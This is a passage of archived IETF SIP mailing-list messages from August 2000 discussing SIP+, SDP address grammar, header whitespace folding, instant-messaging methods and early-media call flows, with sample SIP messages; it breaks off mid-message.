07:19:44 -0400 (EDT) Received: from ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id MAA02418; Thu, 17 Aug 2000 12:14:26 +0100 (BST) Message-ID: <399BC917.D28E6E5A@ubiquity.net> Date: Thu, 17 Aug 2000 12:14:31 +0100 From: Neil Deason Organization: Ubiquity Software Corporation Limited X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: Christopher Downey Cc: sip@lists.bell-labs.com Subject: Re: [SIP] another general query (SIP+) References: <399BC568.4DEFA26C@sqf.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Christopher Downey wrote: > > Hi > > When I was doing some background reading on the SIP protocol, I came > accross some references to SIP+. Could anyone point me to a good source > of information which covers SIP+ > > Any help is greatly appreciated. This is covered in the SIP FAQ at http://www.cs.columbia.edu/~hgs/sip SIP+ was a proposal by Level3 on how to extend SIP to interconnect two MGCs. This functionality is now being provided by various orthogonal SIP extensions, including the carriage of multipart MIME types, the INFO method and others. These are being documented in a BCP draft. The name SIP+ is obsolete and should not be used to avoid confusion. Also check out the latest Internet Draft on SIP-T: http://search.ietf.org/internet-drafts/draft-vemuri-sip-t-context-00.txt hth, Neil. -- Ubiquity Software Corporation, UK http://www.ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 07:28:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23739 for ; Thu, 17 Aug 2000 07:28:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E7784443C0; Thu, 17 Aug 2000 07:28:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 0741444338 for ; Thu, 17 Aug 2000 07:28:34 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7HBPVc19525; Thu, 17 Aug 2000 16:56:02 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.003F2F94 ; Thu, 17 Aug 2000 17:00:09 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: Christopher Downey Cc: sip@lists.bell-labs.com Message-ID: <6525693E.003F2F42.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 17:00:08 +0530 Subject: Re: [SIP] another general query (SIP+) Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com quoting from the SIP FAQ: "SIP+ was a proposal by Level3 on how to extend SIP to interconnect two MGCs. This functionality is now being provided by various orthogonal SIP extensions, including the carriage of multipart MIME types, the INFO method and others. These are being documented in a BCP draft. The name SIP+ is obsolete and should not be used to avoid confusion. " Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems Christopher Downey on 08/17/2000 04:28:48 PM To: sip@lists.bell-labs.com cc: Subject: [SIP] another general query (SIP+) Hi When I was doing some background reading on the SIP protocol, I came accross some references to SIP+. Could anyone point me to a good source of information which covers SIP+ Any help is greatly appreciated. Cheers Christopher -- ********************************************************************** Christopher Downey (Student Software Engineer) Agilent Technologies Research & Development Telecoms Systems Division Email : cdowney@sqf.hp.com South Queensferry Phone : +44 131 331 6137 Scotland Internal : 33137 ********************************************************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 07:30:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23800 for ; Thu, 17 Aug 2000 07:30:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 57B77443C6; Thu, 17 Aug 2000 07:29:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id 4A1CB44338 for ; Thu, 17 Aug 2000 07:28:58 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id RAA04321 for ; Thu, 17 Aug 2000 17:00:14 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Thu, 17 Aug 2000 17:00:12 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id RAA03873 for ; Thu, 17 Aug 2000 17:00:00 +0530 Date: Thu, 17 Aug 2000 17:00:00 +0530 (IST) To: sip@lists.bell-labs.com Subject: [SIP] ipv4 addresses in SDP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Another query on SDP grammar: [If this isn't the right forum for SDP related questions, please let me know.] Consider the following in rfc 2327: ------------------------------------------------------------------------ IP4-address = b1 "." decimal-uchar "." decimal-uchar "." b4 decimal-uchar = ("1" 2*(DIGIT)) | ... DIGIT = "0" | POS-DIGIT POS-DIGIT = "1"|"2"|"3"|"4"|"5"|"6"|"7"|"8"|"9" ------------------------------------------------------------------------ Is there a mistake in the following production? decimal-uchar = ("1" 2*(DIGIT)) I ask because there's a similar rule for IPv4 addresses in the SIP-URL grammar (2543bis). IPv4address = 1*3DIGIT"."1*3DIGIT"."1*3DIGIT"."1*3DIGIT This rule unambiguously states that each token between the '.' must not be more than 3 digits. But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning with a "1" and having atleast 3 digits. Thanks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 07:49:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24219 for ; Thu, 17 Aug 2000 07:49:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8C03944388; Thu, 17 Aug 2000 07:49:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 6DFD344338 for ; Thu, 17 Aug 2000 07:49:12 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7HBnkc20435; Thu, 17 Aug 2000 17:19:57 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.00416875 ; Thu, 17 Aug 2000 17:24:25 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: river@win.tue.nl (Richard Verhoeven) Cc: sip@lists.bell-labs.com Message-ID: <6525693E.004167D0.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 17:24:23 +0530 Subject: Re: [SIP] whitespace in SIP & SDP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com That is correct :-) (On a related note: A few days ago, someone pointed out an interesting case of one line having a string without an ending quote, but slashed at the end, the next line having an LWS and then some text and then the terminating quote. - in which case I guess we cannot ignore the LWS like we usually do for continuation lines". Just thought I'd re-mention this interesting "torture" test wrt all our continuation line parsing routines we have in our implementations:-) ) Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems river@win.tue.nl (Richard Verhoeven) on 08/17/2000 03:19:02 PM To: sip@lists.bell-labs.com cc: Subject: Re: [SIP] whitespace in SIP & SDP > SIP is lenient with LWSs. > So typically one or more LWSes between/before/after tokens should be > accepted. > So the white spaces acceptance of SIP is implicit . > > > From = {LWS}("From" | "f") ":" {LWS}(name-addr | addr-spec) > but that is typically assumed . I assume you mean: From = ("From" | "f") {LWS} ":" {LWS}(name-addr | addr-spec) The possible LWS at the beginning of a line will be interpreted as a continuation newline for the previous line in the message. Richard Verhoeven. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 08:03:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24497 for ; Thu, 17 Aug 2000 08:03:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9E5DE443CA; Thu, 17 Aug 2000 08:03:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id DFFBD44338 for ; Thu, 17 Aug 2000 08:03:08 -0400 (EDT) Received: from jundery.ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id NAA17530; Thu, 17 Aug 2000 13:01:21 +0100 (BST) Received: from localhost (jundery@localhost) by jundery.ubiquity.net (8.9.3/8.9.3) with ESMTP id NAA01431; Thu, 17 Aug 2000 13:01:21 GMT X-Authentication-Warning: jundery.ubiquity.net: jundery owned process doing -bs Date: Thu, 17 Aug 2000 13:01:21 +0000 (GMT) From: James Undery To: manu@sasi.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] ipv4 addresses in SDP In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com On Thu, 17 Aug 2000 manu@sasi.com wrote: > But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning > with a "1" and having atleast 3 digits. I'd reread RFC 2234 on ABNF as you are misreading this. James Undery _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 08:09:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24650 for ; Thu, 17 Aug 2000 08:09:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 07733443B3; Thu, 17 Aug 2000 08:09:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 4D1F544338 for ; Thu, 17 Aug 2000 08:09:07 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7HC9mc21059; Thu, 17 Aug 2000 17:39:54 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.00433BFA ; Thu, 17 Aug 2000 17:44:22 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: "rahul pande" Cc: sip@lists.bell-labs.com Message-ID: <6525693E.00433AE9.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 17:44:19 +0530 Subject: Re: [SIP] Instant Messaging.... Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com How does it solve instant messaging, by simply registering an IANA port and specifying m= line as you say ? Which method do you send it in ? Where do you encapsulate the actual text ? Would you want to overload INVITE yet again ? (also invite requires the INV-OK-ACK negotiation cycle - doesnt make sense for an IM message going forward) Other methods like INFO , BYE etc already have a specific application . (Actually the way it seems to be going now is that INFO is so generic that it doesnt seem to be used much at all !:-p !) I would say MESSAGE (Its a method, not a header) is still very much required. There are other advantages of using a different method (one is proxies who do not support IM can simply return "Method not supproted" whenever a MESSAGE comes across, instead of trying to decipher if it was a method it allowed, which is encapsulating an IM behaviour - etc. ) See the impp drafts for more details. Regds Arjun -- Arjun Roychowdhury @ Hughes Software Systems "rahul pande" on 08/17/2000 04:11:34 PM To: sip@lists.bell-labs.com cc: Subject: [SIP] Instant Messaging.... hello, I was wondering that once the TCP transport port is registered under IANA will we still require the MESSAGE header(presently in the drafts stage) since a line such as : m=text tcp plain with other a= attributes proposed for tcp will solve the problem for instant messaging. Thanking you all, rahul ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 08:23:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24997 for ; Thu, 17 Aug 2000 08:23:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1D18A443D5; Thu, 17 Aug 2000 08:22:45 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mars.hss.co.in (unknown [202.54.26.197]) by lists.bell-labs.com (Postfix) with ESMTP id 9657D44338 for ; Thu, 17 Aug 2000 08:22:20 -0400 (EDT) Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22]) by mars.hss.co.in (8.10.0/8.10.0) with SMTP id e7HCIMc21369; Thu, 17 Aug 2000 17:48:33 +0530 (IST) Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2 (651.2 6-10-1998)) id 6525693E.0044056A ; Thu, 17 Aug 2000 17:52:58 +0530 X-Lotus-FromDomain: HSSBLR From: archow@hss.hns.com To: James Undery Cc: manu@sasi.com, sip@lists.bell-labs.com Message-ID: <6525693E.00440539.00@sampark.hss.hns.com> Date: Thu, 17 Aug 2000 17:52:56 +0530 Subject: Re: [SIP] ipv4 addresses in SDP Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Is this really a misread ? RFC 2234 states: "The operator "*" preceding an element indicates repetition. The full form is: *element where and are optional decimal values, indicating at least and at most occurrences of element. Default values are 0 and infinity so that * allows any number, including zero; 1* requires at least one; 3*3 allows exactly 3 and 1*2 allows one or two. " So ("1" 2*(DIGIT)) Would mean 1 followed by _at least_ 2 more digits, which I guess is not the intention. regds Arjun James Undery on 08/17/2000 06:31:21 PM To: manu@sasi.com cc: sip@lists.bell-labs.com Subject: Re: [SIP] ipv4 addresses in SDP On Thu, 17 Aug 2000 manu@sasi.com wrote: > But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning > with a "1" and having atleast 3 digits. I'd reread RFC 2234 on ABNF as you are misreading this. James Undery _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 08:25:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA25031 for ; Thu, 17 Aug 2000 08:25:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id CAE95443D0; Thu, 17 Aug 2000 08:24:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 5D25644338 for ; Thu, 17 Aug 2000 08:24:28 -0400 (EDT) Received: from jundery.ubiquity.net by ubiquity.net with ESMTP (8.8.8+Sun/25-eef) id NAA24612; Thu, 17 Aug 2000 13:22:40 +0100 (BST) Received: from localhost (jundery@localhost) by jundery.ubiquity.net (8.9.3/8.9.3) with ESMTP id NAA01588 for ; Thu, 17 Aug 2000 13:22:40 GMT X-Authentication-Warning: jundery.ubiquity.net: jundery owned process doing -bs Date: Thu, 17 Aug 2000 13:22:40 +0000 (GMT) From: James Undery To: sip@lists.bell-labs.com Subject: Re: [SIP] ipv4 addresses in SDP (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com On Thu, 17 Aug 2000, James Undery wrote: > > > On Thu, 17 Aug 2000 manu@sasi.com wrote: > > > But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning > > with a "1" and having atleast 3 digits. > > I'd reread RFC 2234 on ABNF as you are misreading this. Sorry, I'll reread 2234 you're right this should be ("1" 2*2(DIGIT)) in the context of the rules you snipped. I don't know if this has been brought up on the confcntrl mailing list though. James Undery _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 08:57:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA25775 for ; Thu, 17 Aug 2000 08:57:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E080844339; Thu, 17 Aug 2000 08:57:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 5526744338 for ; Thu, 17 Aug 2000 08:57:19 -0400 (EDT) Received: from gethin by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id NAA05158; Thu, 17 Aug 2000 13:55:17 +0100 (BST) From: Gethin Liddell Organization: Ubiquity Software Corp. To: archow@hss.hns.com, river@win.tue.nl (Richard Verhoeven) Subject: Re: [SIP] whitespace in SIP & SDP Date: Thu, 17 Aug 2000 13:35:33 +0100 X-Mailer: KMail [version 1.0.29.2] Content-Type: text/plain Cc: sip@lists.bell-labs.com References: <6525693E.004167D0.00@sampark.hss.hns.com> In-Reply-To: <6525693E.004167D0.00@sampark.hss.hns.com> MIME-Version: 1.0 Message-Id: <00081713490600.32275@gethin> Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit On Thu, 17 Aug 2000, archow@hss.hns.com wrote: > (On a related note: A few days ago, someone pointed out an interesting case > of one line having a string without an ending quote, but slashed at the > end, the next line having an LWS and then some text and then the > terminating quote. - in which case I guess we cannot ignore the LWS > like we usually do for continuation lines". Just thought I'd re-mention > this interesting "torture" test wrt all our continuation line parsing > routines > we have in our implementations:-) ) do you mean, for example something like: Header: headerStuff ;param="This is a wrapped quoted string" i dont think we can really expect implementations to maintain the quantity of white space within the quoted parameter. Section C.1 (page 118 of bis-01) "SIP header field values can be folded onto multiple lines if the continuation line begins with a space or horizontal tab. All linear white space, including folding, has the same semantics as SP. A recipient MAY replace any linear white space with a single SP before interpreting the field value or forwarding the message downstream." whether it is in a quoted string or not i think is irrelevant. it still MAY be interpreted as a single white space. -- Gethin Liddell Ubiquity Software Corporation http://www.ubiquity.net mailto:gethin@ubiquity.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 09:39:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA26378 for ; Thu, 17 Aug 2000 09:39:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0FACD4438D; Thu, 17 Aug 2000 09:39:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.Sophia.8x8.COM (unknown [195.154.106.54]) by lists.bell-labs.com (Postfix) with ESMTP id 7728944338 for ; Thu, 17 Aug 2000 06:40:39 -0400 (EDT) Received: from toshjhr.sophia.8x8.com (dhcp_48_197.sophia.8x8.com [192.168.48.197]) by mail.Sophia.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id MAA00585; Thu, 17 Aug 2000 12:40:36 +0200 (MET DST) Message-Id: <4.3.0.20000817122418.00c039f0@mail.sophia.8x8.com> X-Sender: jhr@mail.sophia.8x8.com X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Thu, 17 Aug 2000 12:36:05 +0200 To: "Arnoud van Wijk (ETM)" , "'SIP'" From: Jean-Hugues ROBERT Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? In-Reply-To: <56E7307B0850D411B1480008C75DD5EAB73C59@enlrynt303.dsn.eric sson.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, "SIP Caller cannot Hold/ChangeSDP during call setup with Early Media" At 11:35 AM 8/17/00 +0200, Arnoud van Wijk (ETM) wrote: >We just have to accept that we deal with limitations. I cannot call this a >real issue. The setup of a SIP call will not take THAT much time after >all. Maybe what we can do is a 183 message that tells that user failed to >connect, please retry the call. How much time is tolerable ? Apparently there are Telco, on PRI-ISDN links, that do not deliver Q.931 Connect *at all*, to be confirmed. On other PSTN numbers, Connect is delivered after one minute. The offending PSTN numbers are often 800 style numbers. PSTN & AIN experts can probably explain this. If we agree that this is an issue, I am begining to suspect that some "200 OK Cause=Early Media" + callee initiated "re-INVITE, Cause=SessionProgress" could be a viable solution, because it would work with existing implementations (it also removes the issue of the reliability of provisional responses, if we extend its usage to all calls, not just ones with EarlyMedia). I am not a SIP expert so please be forgiving, I am willing to learn. Thanks. Yours, Jean-Hugues Robert. --------------------------------------------------------------------------- "Fix Bugs First" Sophia General Manager. mailto:jhr@netergynet.com - We serve providers - "Think globally. http://www.netergynet.com - Hosted PBX solutions - Act locally." _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 10:43:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27753 for ; Thu, 17 Aug 2000 10:43:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0FE5C4433F; Thu, 17 Aug 2000 10:43:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail-gw.NetergyNet.COM (mail-gw.8x8.com [192.84.19.131]) by lists.bell-labs.com (Postfix) with ESMTP id 8240244339 for ; Thu, 17 Aug 2000 10:34:54 -0400 (EDT) Received: from mail.8x8.COM (mail.8x8.com [192.84.19.130]) by mail-gw.NetergyNet.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA19348; Thu, 17 Aug 2000 07:34:53 -0700 (PDT) Received: from 8x8.com ([207.82.37.67]) by mail.8x8.COM (8.9.1b+Sun/8.9.1) with ESMTP id HAA29175; Thu, 17 Aug 2000 07:34:52 -0700 (PDT) Message-ID: <399BF73B.684473DD@8x8.com> Date: Thu, 17 Aug 2000 07:31:23 -0700 From: Marc Petit-Huguenin Organization: Netergy Networks Inc. X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: fr-FR, fr, en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> <399B8269.FBCABDC6@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > This is a really good issue. Thanks for bringing it up. > > Seems like there are really just three possibilities: > > 1. punt this problem; you can't change the parameters before the call is > setup > 2. allow reinvites before the 200 OK to change the parameters > 3. don't allow early media - send a 200 OK for this instead > > None of these are ideal. (2) worries me, as it introduces additional > complexity which I fear will have interactions with other things. (3) is > somewhat appealing, allowing us to return to the simpler model SIP > orginally had. However, people claimed this had nasty interactions with > billing systems and PSTN interworking. I wonder if we can't revisit this > and see if those issues could be resolved some other way? > > -Jonathan R. In my understanding of SIP, this issue is not really related to 183 messages. The end of section 4.2.1 states that "A UAC MUST be prepared to receive media data according to the session description as soon as it sends an INVITE...". I cannot find a symmetrical sentence for UAS in the draft, something like "A UAS MAY send media data according to the session description as soon it receives an INVITE...". If this is true, then the caller can receive data media without receiving a SDP (which will may be used for sending media data). (1) works, we have just to discard data media received if the UAC is in hold state (and the UAC can use another RTP port pair to establish another call). But what if the INVITE is forked - In this case we can receive multiple data media on the same port. I agree that (2) complicates things. For (3), perhaps we can change the 4.2.1 section to state that media data can be send (and receive) only when a 200 OK is receive (send), forbidding SDP on provisional responses and adding a header to signal the "billed" part of the call, so we can imagine the following call flow: UAC UAS PSTN | INVITE F1 | | |------------------------>| SETUP | | |------------------------>| | 100 Trying F2 | | |<------------------------| CALL PROCEEDING | | |<------------------------| | | ALERT OR PROGRESS | | |<------------------------| | 200 OK F3 | | |<------------------------| | | ACK F4 | | |------------------------>| | | | CONNECT | | |<------------------------| | INVITE F5 | | |<------------------------| CONNECT ACK | | |------------------------>| | 200 OK F6 | | |------------------------>| | | ACK F7 | | |<------------------------| | Message details F1 INVITE INVITE sip:6540875@207.82.37.28 SIP/2.0 Content-Type: application/sdp To: sip:6540875@207.82.37.28 From: Anonymous Via: SIP/2.0/UDP 207.82.37.67 Content-Length: 116 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 INVITE Supported: com.netergynet.media v=0 o=- 967711854878 967711854878 IN IP4 207.82.37.67 s=- c=IN IP4 207.82.37.226 t=0 0 m=audio 8000 RTP/AVP 0 F2 100 Trying SIP/2.0 100 Trying Via: SIP/2.0/UDP 207.82.37.67 From: Anonymous To: sip:6540875@207.82.37.28 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 INVITE Content-Length: 0 Supported: com.netergynet.media F3 200 OK SIP/2.0 200 OK Via: SIP/2.0/UDP 207.82.37.67 From: Anonymous To: sip:6540875@207.82.37.28;tag=601718-1330 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 Contact: CSeq: 965506497 INVITE Content-Type: application/sdp Content-Length: 134 Supported: com.netergynet.media X-Media: Alerting v=0 o=- 3295 7550 IN IP4 207.82.37.28 s=- c=IN IP4 207.82.37.28 t=0 0 m=audio 20698 RTP/AVP 0 F4 ACK ACK sip:6540875@207.82.37.28 SIP/2.0 To: sip:6540875@207.82.37.28;tag=601718-1330 From: Anonymous Via: SIP/2.0/UDP 207.82.37.67 Content-Length: 0 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 CSeq: 965506497 ACK Supported: com.netergynet.media F5 INVITE INVITE sip:+5120@207.82.37.67 SIP/2.0 Content-Type: application/sdp To: Anonymous From: sip:6540875@207.82.37.28 Via: SIP/2.0/UDP 207.82.37.28 Content-Length: 116 Call-ID: 21d5a469-0b91-e89d-ba8a-9c067ec0f037@207.82.37.67 